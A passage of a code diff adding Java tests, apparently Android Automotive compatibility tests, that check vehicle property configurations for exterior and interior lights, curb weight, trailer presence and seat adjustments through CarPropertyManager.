+ VehiclePropertyIds.FRONT_FOG_LIGHTS_STATE))
+ .isNull();
+
+ assertWithMessage(
+ "REAR_FOG_LIGHTS_STATE must not be implemented"
+ + "when FOG_LIGHTS_STATE is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.REAR_FOG_LIGHTS_STATE))
+ .isNull();
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHazardLightsStateIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+ "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HAZARD_LIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testFrontFogLightsStateIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+ "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FRONT_FOG_LIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> {
+ assertWithMessage(
+ "FOG_LIGHTS_STATE must not be implemented"
+ + "when FRONT_FOG_LIGHTS_STATE is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.FOG_LIGHTS_STATE))
+ .isNull();
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testRearFogLightsStateIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+ "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.REAR_FOG_LIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> {
+ assertWithMessage(
+ "FOG_LIGHTS_STATE must not be implemented"
+ + "when REAR_FOG_LIGHTS_STATE is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.FOG_LIGHTS_STATE))
+ .isNull();
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testCabinLightsStateIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_READ_INTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.CABIN_LIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testReadingLightsStateIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_READ_INTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.READING_LIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testVehicleCurbWeightIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_PRIVILEGED_CAR_INFO, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.VEHICLE_CURB_WEIGHT,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+ Integer.class).setConfigArrayVerifier(configArray -> {
+ assertWithMessage(
+ "VEHICLE_CURB_WEIGHT configArray must contain the gross weight in "
+ + "kilograms").that(configArray).hasSize(1);
+ assertWithMessage(
+ "VEHICLE_CURB_WEIGHT configArray[0] must contain the gross weight in "
+ + "kilograms and be greater than zero").that(
+ configArray.get(0)).isGreaterThan(0);
+ }).setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+ Integer curbWeightKg = (Integer) carPropertyValue.getValue();
+ Integer grossWeightKg = carPropertyConfig.getConfigArray().get(0);
+
+ assertWithMessage("VEHICLE_CURB_WEIGHT must be greater than zero").that(
+ curbWeightKg).isGreaterThan(0);
+ assertWithMessage("VEHICLE_CURB_WEIGHT must be less than the gross weight").that(
+ curbWeightKg).isLessThan(grossWeightKg);
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHeadlightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HEADLIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testTrailerPresentIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_PRIVILEGED_CAR_INFO, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TRAILER_PRESENT,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(
+ ImmutableSet.of(/*TrailerState.UNKNOWN=*/
+ 0, /*TrailerState.NOT_PRESENT*/
+ 1, /*TrailerState.PRESENT=*/2, /*TrailerState.ERROR=*/
+ 3)).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHighBeamLightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HIGH_BEAM_LIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testFogLightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FOG_LIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+ assertWithMessage("FRONT_FOG_LIGHTS_SWITCH must not be implemented"
+ + "when FOG_LIGHTS_SWITCH is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.FRONT_FOG_LIGHTS_SWITCH)).isNull();
+
+ assertWithMessage("REAR_FOG_LIGHTS_SWITCH must not be implemented"
+ + "when FOG_LIGHTS_SWITCH is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.REAR_FOG_LIGHTS_SWITCH)).isNull();
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHazardLightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HAZARD_LIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testFrontFogLightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FRONT_FOG_LIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+ assertWithMessage("FOG_LIGHTS_SWITCH must not be implemented"
+ + "when FRONT_FOG_LIGHTS_SWITCH is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.FOG_LIGHTS_SWITCH)).isNull();
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testRearFogLightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.REAR_FOG_LIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+ assertWithMessage("FOG_LIGHTS_SWITCH must not be implemented"
+ + "when REAR_FOG_LIGHTS_SWITCH is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.FOG_LIGHTS_SWITCH)).isNull();
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testCabinLightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_INTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.CABIN_LIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testReadingLightsSwitchIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_INTERIOR_LIGHTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.READING_LIGHTS_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatBeltBuckledIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BELT_BUCKLED,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatBeltHeightPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BELT_HEIGHT_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatBeltHeightMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BELT_HEIGHT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatForeAftPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_FORE_AFT_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatForeAftMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_FORE_AFT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatBackrestAngle1PosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatBackrestAngle1MoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatBackrestAngle2PosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testSeatBackrestAngle2MoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatHeightPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEIGHT_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatHeightMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEIGHT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatDepthPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_DEPTH_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatDepthMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_DEPTH_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatTiltPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_TILT_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatTiltMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_TILT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatLumbarForeAftPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatLumbarForeAftMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatLumbarSideSupportPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatLumbarSideSupportMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatHeadrestHeightMoveIfSupported() {
